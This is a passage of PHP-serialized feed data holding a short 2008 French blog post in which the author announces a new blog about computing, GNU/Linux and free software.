";s:7:"dateiso";s:15:"20080827_083000";}s:15:"20080827_080000";a:7:{s:5:"title";s:26:"Ça y'est, j'ai un blog !";s:4:"link";s:49:"http://blog.rom1v.com/2008/08/ca-yest-jai-un-blog";s:4:"guid";s:49:"http://blog.rom1v.com/2008/08/ca-yest-jai-un-blog";s:7:"pubDate";s:25:"2008-08-27T08:00:00+02:00";s:11:"description";s:0:"";s:7:"content";s:450:"

Salut à tous,

Je me suis enfin décidé à créer un blog, pour parler quasi-exclusivement d’informatique, de GNU/Linux et de logiciels libres en particulier (j’utilise Ubuntu 8.04.1).

Ça m’évitera de flooder les forums (qui me servaient déjà de blog ^^), et surtout ça m’évitera de rechercher comment j’avais fait tel truc un an auparavant… je saurais où chercher !

Bienvenue sur ®om’s blog :)

";s:7:"dateiso";s:15:"20080827_080000";}}